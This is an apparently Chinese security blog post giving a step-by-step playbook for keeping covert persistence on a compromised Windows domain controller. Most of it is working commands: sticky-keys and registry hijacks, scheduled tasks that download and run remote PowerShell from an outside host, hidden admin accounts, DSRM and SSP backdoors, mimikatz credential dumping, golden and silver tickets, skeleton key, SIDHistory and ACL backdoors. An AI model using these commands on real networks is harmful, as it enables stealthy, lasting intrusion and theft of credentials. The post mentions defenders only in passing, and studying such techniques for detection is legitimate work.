域控权限维持技巧分享

作者:Sec-Labs | 发布时间:

当在域控中获取权限以后,通过在域控中进行权限维持,可以持续对目标的控制。对于防守人员来说,通过这些域控维权的checklist也可以更好的保证域控的安全。

目录

1. 粘滞键后门

1.1 修改目录下的 sethc

在 windows/system32 下,直接将 sethc 程序替换成 cmd.exe

如果目标机是 windows vista 以上的,即 windows vista 以后出的系统,修改 sethc 会提示需要 trustedinstaller 权限,trustedinstaller 是一个安全机制,即系统的最高权限,权限比 administrator 管理员高.

windows 下的权限主要包括:user,administrator,system,trustedinstaller没有system高,所以需要修改sethc, 需要将其所有者改为改为我们当前管理员用户

a15d9b5367235455

 

这时可以重命名,也可以直接删除,然后复制 cmd 修改 sethc 即可,然后在锁屏没有密码情况下,可以直接按 5 下 shift 调出 cmd

1.2 修改注册表的映像劫持

通过修改注册表的映像劫持打开其远程桌面来实现。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

命令说明:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 /v 来指定键名,这个键名 debugger 是固定的,然后通过 /t 来指定类型,即 REG_SZ 字符串类型,最后通过 /d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。

效果如下:

7e5d691d99235503

 

2. 注册表后门

开启启动项

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

msf 下的命令:

use exploit/windows/local/persistence

3. 计划任务

schtasks命令参数如下:

  • /Create 创建新任务。
  • /Delete 删除计划任务。
  • /Query 显示所有计划任务。
  • /Change 更改计划任务属性。
  • /Run 按需运行计划任务。
  • /End 中止当前正在运行的计划任务。
  • /ShowSid 显示与计划的任务名称相应的安全标识符

# schtasks 命令
# 每天晚上 03:30 定时执行
schtasks /create /tn "TimedTask1" /tr C:\Users\Administrator\Desktop\TimedTask\Run.bat /sc DAILY /st 03:30 
# statement A

# 查询创建的任务
schtasks /query /tn TimedTask1 /v

# 立即运行创建的任务
schtasks /run /tn TimedTask1

# 删除任务
schtasks /delete /tn TimedTask1

搭配远程下载如下:

#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

#(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

4.wmi无文件后门

evil3.vbs-> 恶意VBS脚本。创建事件过滤器,捕获账户成功登陆的事件;创建活动脚本事件消费者,捕获到事件后执行远程脚本pnc.js;绑定过滤器和消费者。

然后类似于nc一样的工具进行连接:

参考项目 :

https://github.com/SAMOxtan/WMI_Fileless_Backdoor

https://github.com/SAMOxtan/WMI_Fileless_Backdoor

5. 隐藏用户

net user test$ 123456Qaq /add
net localgroup administrators test$ /add

a26b2271ee235513

 

主要是创建影子用户的思路:https://blog.csdn.net/weixin_51339377/article/details/124168411

6. DSRM后门

DSRM(Directory Services Restore Mode) 是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器有一个本地管理员账号(也就是 DSRM 账号)。DSRM 的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运 ntdsutil 行命令。

在渗透测试中,可以使用 DSRM 账号对域环境进行持久化操作。

  • 如果域控制器的系统版本为 Windows Server 2008,则需要安装 KB96132 补丁才可以使用指定域账号的密码对 DSRM 的密码进行同步。
  • 在 Windows Server 2008 以后版本的系统中不需要安装此补丁。
  • 如果域控制器的系统版本为 Windows Server 2003,则不能使用该方法进行持久化操作。

每个 DC 都有本地管理员(administrator)账号和密码。DSRM 账号可以作为 DC 的本地管理员用户,通过网络连接 DC,进而控制 DC。

在 DC 上,DSRM 账号的表现形式是本地的 administrator 用户,也就是说本地 administrator 用户 = DSRM 账号

修改DSRM密码

参考链接:https://blog.csdn.net/weixin_36044132/article/details/119595410

微软官方给出的方法:

NTDSUTIL #打开ntdsutil
set DSRM password # :修改DSRM的密码
reset password on  server xxxx # 在当前域控制器上重置DSRM的密码
# 重复确定两次密码以后就可以了
# q(第1次):退出DSRM密码设置模式
# q(第2次):退出ntdsutil

8de063f56e235522

 

设置 DSRM 后门

上传mimikatz,在administrator权限下执行命令

privilege::debug
lsadump::lsa /patch /name:krbtgt

4e03cbb69e235538

 

获取到了krbtgtNTLM Hash 和 SID

接下来查看并获取SAM文件中本地管理员的NTML也就是DSRM的NTLM Hash值

token::elevate
lsadump::sam

c4f68ae817235547

 

将DSRM账号和krbtgt的NTML HASH同步

NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN account krbtgt

4d9db4e148235558

 

我们发现 krbtgt的NTLM和 administrator的 hash成功同步

ff60a29507235607

 

最后修改一下DSRM的登录方式,DSRM默认有三种方式

  • 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  • 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。

通过以下命名设置方式改为:2

以管理员方式运行powershell:

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

2fc8e0b267235617

 

最后,我们就可以使用本地administrator 账号哈希传递攻击域控

sekurlsa::pth /domain:main /user:test /ntlm:73265a93b877df146cf06d08ffa673e8

2f66b24906235626

 

最后可以使用Mimikatz的 scysnc功能远程转储krbtgt的NTML Hash

lsadump::dcsync /domain:main.com /dc:DC /user:krbtgt

7. SSP

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLMKetberos,Negotiare.Seure Channe(Schannel )、DigestCredental( CredSSP )。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

LSA( Local Security Authority),用于身份认证,常见进程为 lsass.exe

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

使用 mimilib SSP

7.1通过内存更新留后门(临时)

由于是针对本机的 LSA 进行 Patch,因此本方法只针对在当前机器上登录的用户起作用

privilege::debug
misc::memssp

注销用户之后,可以访问C:\Windows\System32\mimilsa.log,会有日志文件

2099c0687a235633

 

7.2 通过注册表更新后门(永久)

项目Mimikatz提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32)相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。

如下:

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ   /d  "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll"

这里踩了一个坑,当路径已经到达末尾时,后面不要有\,否则会进行转义,如下:

4c0364fc6a235643

 

但是却找不到

9fcfee52cd235650

 

查看了一下注册表,没写进去

8ce6686fbb235659

 

去掉\之后,就成功写入了。

之后重启,访问c:\windows\system32\kiwissp.log即可得到

8c521d44ec235707

 

8. SIDHistory域后门

每个用户帐号都有一个关联的安全标识符(简称SID),SID 用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持 AD 迁移,微软设计了 SID History 属性,SID History 允许另一个帐户的访问被有效的克隆到另一个帐户。通过 SID History 可让用户拥有不同身份的权限,在单域中同样有效。

查询域内用户

dsquery user

15081f4655235715

 

将工具上传 https://github.com/lucasbiella/admodule

导入模块,查看用户的SID History

Import-Module activedirector
Get-ADUser liukaifeng01 -Properties sidhistory

a98a6af93b235723

 

使用Mimikatz将Administrator的SID添加到所选用户的SID History属性中

  1. 在使用mimikatz注入SID之前需要使用sid::patch命令修复NTDS服务,否则无法将高权限的SID注入低权限的用户的SID属性;
  2. mimikatz在2.1版本之后将misc::addsid模块添加到了
  3. NTDS:New Technology Directory Service,NT

# mimikatz
privilege::debug
sid::patch    //以下命令如果执行失败则使用该命令修复NTDS服务
sid::add /sam:yyds /new:administrator

 

401a4716eb235744

 

这时候再看一下

74aef80a9e235809

 

9. HookPasswordChangeNotify

Hook PaswordChangeNoify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输人的密码明文。

在修改域控密码时会进行如下同步操作:

  1. 当修改域控密码时,LSA 首先调用 PasswordFileter 来判断新密码是否符合密码复杂度要求
  2. 如果符合,LSA 接着调用 PasswordChangeNotify 在系统上同步更新密码

函数 PasswordChangeNotify 存在于 rassfm.dll

rassfm.dll 可理解为 Remote Access Subauthentication dll,只存在于在 Server 系统下,xp、win7、win8 等均不存在

特点是:

  1. 不需要重启
  2. 不需要修改注册表
  3. 甚至不需要在系统放置dll

参考项目:

https://github.com/clymb3r/PowerShell

https://github.com/clymb3r/Misc-Windows-Hacking

10. GoldenTicket/黄金票据

==黄金票据的目的是:权限变更。==

假设域内存在一个SID为502的域账号krbtgt。 krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的NTLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据传递攻击时,通堂要堂握以下信息:

  1. 完整的域名
  2. 需要伪造的域管理员用户名
  3. 域SID-Krbtgt的NTLM Hash或AES-256

操作系统 角色 域名 用户名
Wins2012R2 DC main.com 12451
windows 2008 Client main.com test

实现:

  1. 先获得hash 和SID

lsadump::lsa /patch      #专用于在域控制器上导出用户密码或hash

fc462ef7f8235820

 

我们得到krbtgt用户的Hash为:73265a93b877df146cf06d08ffa673e8,域sid为S-1-5-21-2214894582-1205818508-3793940241

  1. 切换到普通域用户的WEB主机或PC主机,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):

   # kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
   kerberos::golden /user:administrator /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /krbtgt:73265a93b877df146cf06d08ffa673e8 /ticket:ticket.kirbi

a82350099c235829

 

在当前目录下会生成一个ticket.kirbi

   kerberos::purge   //先清空所有票据
   kerberos::ptt ticket.kirbi    //再将生成的票据注入域用户主机

然后查看一下当前的票据内容

   kerberos::tgt

4345f69801235839

 

对比一下之前的操作,当我们想看 DC下的共享目录的时候:拒绝访问

0bbee8ad4b235846

 

更改凭证之后

092fb85cac235854

 

11. SilverTicket/白银票据

Silver Ticket(白银票据) 不同于 Golden Ticket, Silver Ticket的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要KDC颁发TGT,且在生成伪造的TGT 的20分钟内,TGS不会对该TGT 的真伪进行校验。

白银票据和黄金票据的区别:

  1. 金票是由krbtgt账号的密码散列值加密的,利用伪造高权限任意服务访回权限的票据,从而获得域控制器权限,而银票是由特定的服务账号来伪造TGS,例如LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范围有限,只能获取有限的权限。
  2. 白银票据不经过KDC,因此白银票据日志相对于黄金票据要少,同时白银票据的日志都在目标服务器上,域控上不会有日志,更加隐蔽,但是白银票据的权限就不如黄金票据的权限了

和黄金票据不同的是,白银票据的针对性较强,没有金票的普适性,即拿到服务A的口令NTLM值只能伪造高权限的TGS票据,获得服务A的高权限访问,对服务B则完全无效。

应用服务类型 需要的服务
VMI HOST、RPCSS
Powershell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations LDAP
Windows Remote Server Administrations Tools RPCSS、LDAP、CIFS

输入klist可以获得

cc343df10a235904

 

这里很明显看到有两个服务,一个krbtgt,一个是host

11.1 伪造Host服务权限---创建计划任务

# mimikatz 操作
# 这里不要用管理员权限打开 mimikatz,否则会没有host服务
kerberos::list

d0715458bd235912

 

接下来获取Hash,并且获取SID

lsadump::lsa /patch

21c7ecadb2235920

 

获取了server名称:

/domain 域的名称 /dis 域的sid /service 指定服务类型 /ticket(可选) 指定路径保存票据 /ptt 直接注入内存 /rc4 域控机器ntlm

kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:host /ptt

然后就可以创建计划任务:

schtasks /create /S dc.main.com /tn "task1" /RU "system" /sc weekly /tr "c:\windows\system32\calc.exe"

cc762f4ad3235929

 

11.2 伪造CIFS服务权限

kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:CIFS /ptt

3bc65548e0235939

 

同理,获取 HTTP / Wsman服务以后,可以获得目标系统上的WinRMPowershell远程管理的权限。

在注入ldap服务票据后,可以获得目标系统上LDAP服务的管理权限,进而可以利用dcsync远程导出域控上的hash

12. SkeletonKey/万能密码

Skeleton Key 被安装在 64 位的域控服务器上 支持 Windows Server2003 — Windows Server2012 R2 能够让所有域用户使用同一个万能密码进行登录 现有的所有域用户使用原密码仍能继续登录 重启后失效

使用 Skeleton Key 攻击时,NTLM、Kerberos 两种身份验证方法都会被篡改。 例如,在NTLM身份验证期间,已注入 LSASS 进程中的主密码哈希将不会与SAM数据库进行比较,而将与 Skeleton Key 哈希进行比较,因此,身份验证将成功。

Kerberos 加密也将降级为不支持 Salt(RC4_HMAC_MD5)的算法,并且从活动目录中检索到的哈希将替换为 Skeleton Key 哈希。 因此,主密码的哈希值将始终在服务器端进行验证,并且两种方法的身份验证都将成功。

IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

以下是环境:

操作系统 角色 域名 用户名
Wins2012R2 DC main.com 12451
windows 2008 Client main.com test

# 添加
net use \\DC\IPC$  "密码" /user:test\administrator
# 将之前建立的IPC$链接删除      
net use  \\dc\ipc$ /del /y 
# 查看现有的IPC$链接
net use  

使用添加命令进行 IPC$的添加后,如下:

c21cf7ed60235949

 

82bf008cf4235957

 

此时重启,会发现失效

b0fb638346000007

 

在域控下操作:

#mimikatz 
privilege::debug
misc::skeleton

会显示:

21c4c18e40000025

 

这时候会多一个万能的密码 mimikatz

我们删除原有的 ipc链接,进行新的建立

net use \\DC\ipc$ "mimikatz" /user:test\administrator

但是还是不行

10ba665ea1000039

 

查了一下其他写法(将user后面的名称改为 域 即可),才可以:

net use \\DC\ipc$ "mimikatz" /user:main\administrator

2dad3813e8000048

 

13. AdminSDHolder

参考文章:https://blog.csdn.net/qq_36119192/article/details/109047093

14. ACL后门

这是一种基于域内对象 ACL(Access Control Link)访问控制链的深度隐藏后门。

每个安装了域服务器的都会有两个共享目录,分别是:SYSVOL(C:\Windows\SYSVOL\sysvol)和 它下面的Script两个目录,任何账号都可以访问。

一定程度上说,控制了 SYSVOL 目录,就有很大概率控制域网络。

一般来说,域策略会强制周期性修改高权限用户的密码,但是对低权限用户来说不一定有这个强制性要求,而且域中往往有很多用户几乎不怎么登录、使用。

如果低权限用户具备 SYSVOL 目录的修改权限,登录域时,因为权限不高,不会被审计软件发现。现在的防护、监控类软件还没有过多关注目录的ACL,因此这种方式是一种很实用的隐蔽后门方式。

4965fe8dcc000106

 

如果说是共享目录的话,我们尝试写入文件,

2761efc1c3000114

 

权限不够,那么我们加入权限

45e5026bf5000121

 

修改之后,成功写入

08927f014b000131

 

这种后门方式,只是演示了 ACL 后门的一种具体形式,因为域中的对象太多,可以操控的 ACL对象也很多。可以根据自己的需要,灵活选择目标的ACL作为目标进行修改,埋藏后门。

15. dump高权限用户的hash

基于获取域控的方法,通过dump DNSAdmin、exchange、localgroup中的RDP、BackupOperator组等高权限用户的hash,来对域控进行权限维持。

参考文章:

https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1

https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E7%9B%AE%E5%BD%95-acl

https://www.freebuf.com/articles/system/305304.html

标签:思路分享, 学习笔记, 权限维持, 域控权限维持, 域控